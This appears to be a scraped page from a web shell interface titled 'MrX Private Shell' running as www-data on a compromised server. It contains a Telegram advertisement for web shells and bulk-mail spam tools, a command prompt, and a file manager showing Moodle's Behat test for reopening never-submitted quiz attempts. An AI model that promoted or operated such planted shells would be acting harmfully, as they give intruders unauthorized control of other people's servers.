__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@mod @mod_quiz @quiz @quiz_overview @javascript
Feature: Reopening Never submitted quiz attempts
    In order to cut some slack to students who forgot to submit their quiz attempt
    As a teacher
    I need to be able to reopen selected attempts.

  Background:
    Given the following "users" exist:
      | username | firstname | lastname  |
      | teacher  | Mark      | Allwright |
      | student  | Freddy    | Forgetful |
    And the following "courses" exist:
      | fullname | shortname | category |
      | Course 1 | C1        | 0        |
    And the following "course enrolments" exist:
      | user     | course | role           |
      | teacher  | C1     | editingteacher |
      | student  | C1     | student        |
    And the following "question categories" exist:
      | contextlevel | reference | name           |
      | Course       | C1        | Test questions |
    And the following "questions" exist:
      | questioncategory | qtype       | name |
      | Test questions   | truefalse   | TF   |
    And the following "activities" exist:
      | activity | name      | course | idnumber |
      | quiz     | Test quiz | C1     | quiz1    |
    And quiz "Test quiz" contains the following questions:
      | question | page |
      | TF       | 1    |
    And user "student" has started an attempt at quiz "Test quiz"
    And the attempt at "Test quiz" by "student" was never submitted

  Scenario: Attempt can be reopened
    Given I am on the "Test quiz" "mod_quiz > Grades report" page logged in as teacher
    When I press "Reopen"
    And I should see "This will reopen attempt 1 by Freddy Forgetful." in the "Reopen attempt?" "dialogue"
    And I should see "The attempt will remain open and can be continued." in the "Reopen attempt?" "dialogue"
    And I click on "Reopen" "button" in the "Reopen attempt?" "dialogue"
    Then I should see "In progress" in the "Freddy Forgetful" "table_row"
    And "Reopen" "button" should not exist

  Scenario: Reopening an attempt can be cancelled and then nothing happens
    Given I am on the "Test quiz" "mod_quiz > Grades report" page logged in as teacher
    And I start watching to see if a new page loads
    When I press "Reopen"
    And I click on "Cancel" "button" in the "Reopen attempt?" "dialogue"
    Then a new page should not have loaded since I started watching
    And I should see "Never submitted" in the "Freddy Forgetful" "table_row"

Filemanager

Name Type Size Permission Actions
basic.feature File 5.17 KB 0777
multiple_grade_items.feature File 2.69 KB 0777
regrading.feature File 17.5 KB 0777
regrading_not_possible.feature File 2.58 KB 0777
reopen_attempt.feature File 2.38 KB 0777
Filemanager